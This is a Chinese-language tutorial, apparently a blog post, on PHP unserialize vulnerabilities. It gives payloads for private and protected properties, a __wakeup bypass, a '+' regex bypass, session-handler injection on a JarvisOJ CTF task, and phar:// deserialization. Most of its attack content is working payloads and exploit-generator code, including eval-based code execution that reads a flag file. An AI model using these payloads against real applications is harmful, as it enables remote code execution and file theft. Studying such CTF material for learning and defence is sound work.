private与protected问题
private
当类内对象为private属性时,生成序列化字符串后会有一些不同,例如如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
class Student { private $name = 'yemoli'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } } $a = new Student(); $b = serialize($a); echo $b; ?>
|
生成的序列化字符串如下
可以看到与public属性时的不同,在这时我们构造序列化字符串时可以使用%00代替两个奇怪的字符
1
| O:7:"Student":2:{s:13:"%00Student%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
验证代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
class Student { private $name = 'Zhangsan'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } } $a = $_GET['str']; unserialize($a); ?>
|
payload:
1
| http://127.0.0.1/test2.php?str=O:7:"Student":2:{s:13:"%00Student%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
result:
protected
使用如下代码生成序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Student { protected $name = 'yemoli'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } } $a = new Student(); $b = serialize($a); echo $b; ?>
|
我们看一下生成的序列化代码
这时会发现在protected属性时还会生成一个*,同样的把不可见字符替换为%00即可
1
| O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
验证代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
class Student { protected $name = 'Zhangsan'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } } $a = $_GET['str']; unserialize($a); ?>
|
payload:
1
| http://127.0.0.1/test2.php?str=O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
result:
__wakeup()绕过
经测试该方法仅适用于php5.5及以下版本
生成代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Student { protected $name = 'yemoli'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } } $a = new Student(); $b = serialize($a); echo $b; ?>
|
正常生成的是这样的
1
| O:7:"Student":2:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
想要绕过wakeup函数我们需要使student后的数值大于现在的数值例如将2改为3
1
| O:7:"Student":3:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
验证代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class Student { protected $name = 'Zhangsan'; public $sex = 'man'; function __destruct() { echo '</br>'; echo '__destruct is working'; echo '</br>'; echo 'I am:' . $this->name; echo '</br>'; } function __wakeup() { echo ' __wake is working'; echo '</br>'; echo 'I am:' . $this->name = 'zhangsan'; echo '</br>'; } } $a = $_GET['str']; unserialize($a); ?>
|
payload
1
| http://127.0.0.1/test2.php?str=O:7:"Student":3:{s:7:"%00*%00name";s:6:"yemoli";s:3:"sex";s:3:"man";}
|
成功的绕过了__wakeup()
使用+绕过
该方法在PHP5.6.24版本已被修复
有如下题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php @error_reporting(1); include 'flag.php'; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test3.php"); } ?>
|
注意这里
1
| preg_match('/[oc]:\d+:/i',$data,$matches);
|
正常编写利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class baby { public $file= "flag.php"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } $a = new baby(); $b = serialize($a); echo $b; ?>
|
得到
1
| O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
|
为了绕过正则,在fuzz后发现可以使用加号进行绕过,但注意需要URL编码一下,因为在某些时候+直接使用会被当成空格来处理
payload:
1
| O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
|
session的反序列化
PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样就可能存在反序列化漏洞
首先了解一下session三种序列化的方式
然后我们以jarvisoj上一道题目为例:http://web.jarvisoj.com:32784/
题目存在index和phpinfo两个页面
index:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
|
仔细观察会发现在index和phpinfo两个页面中使用的是两个不同的序列化引擎
这时我们自然联想到session的反序列化漏洞,但这是我们会发现我们似乎找不到突破点来控制session,经过仔细搜索 发现这里我们可以通过利用PHP_SESSION_UPLOAD_PROGRESS上传文件来控制session的内容(当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得)
这样我们可以构造如下的上传请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html> <head> <title>test</title> <meta charset="utf-8" /> </head> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </form> </body> </html>
|
接着我们需要知道哪里是我们可控的点,翻阅PHP手册
不难看出我们可以控制文件名来写入session文件
接下来我们来写利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } $a = new OowoO(); $a->mdzz='var_dump(scandir(dirname(__FILE__)));'; $b = serialize($a); echo $b; ?>
|
使用”"将双引号转义一下,同时为了触发index页面的引擎我们需要在序列化字符串前加”|”
可以看到成功触发了反序列化,接着我们读取flag文件就好了
1 2 3
| O:5:"OowoO":1:{s:4:"mdzz";s:90:"var_dump(file_get_contents(dirname(__FILE__)."/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";} 转义 O:5:\"OowoO\":1:{s:4:\"mdzz\";s:90:\"var_dump(file_get_contents(dirname(__FILE__).\"/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
|
phar反序列化
该方法在某些文件系统函数参数可控的情况下,与phar://伪协议配合使用可不使用unserialize()实现反序列化操作
受影响的文件系统函数如下
(图片源于网络)
有如下示例代码
1 2 3 4 5 6 7 8 9 10
| <?php class TestObject{ function __destruct() { echo $this -> mini; } } $a = $_GET['file']; file_get_contents($a); ?>
|
可以看到并没有unserialize()函数,同时存在file_get_contents函数,我们可以利用phar来触发反序列化
利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o -> mini='yemoli'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
运行代码后会生成一个phar.phar文件,生成的该文件后缀名可以随意更改,接下来使用phar://伪协议进行利用
1
| 127.0.0.1/index.php?file=phar://phar.phar
|
可以看到成功的触发了反序列化。
参考链接:
https://paper.seebug.org/680/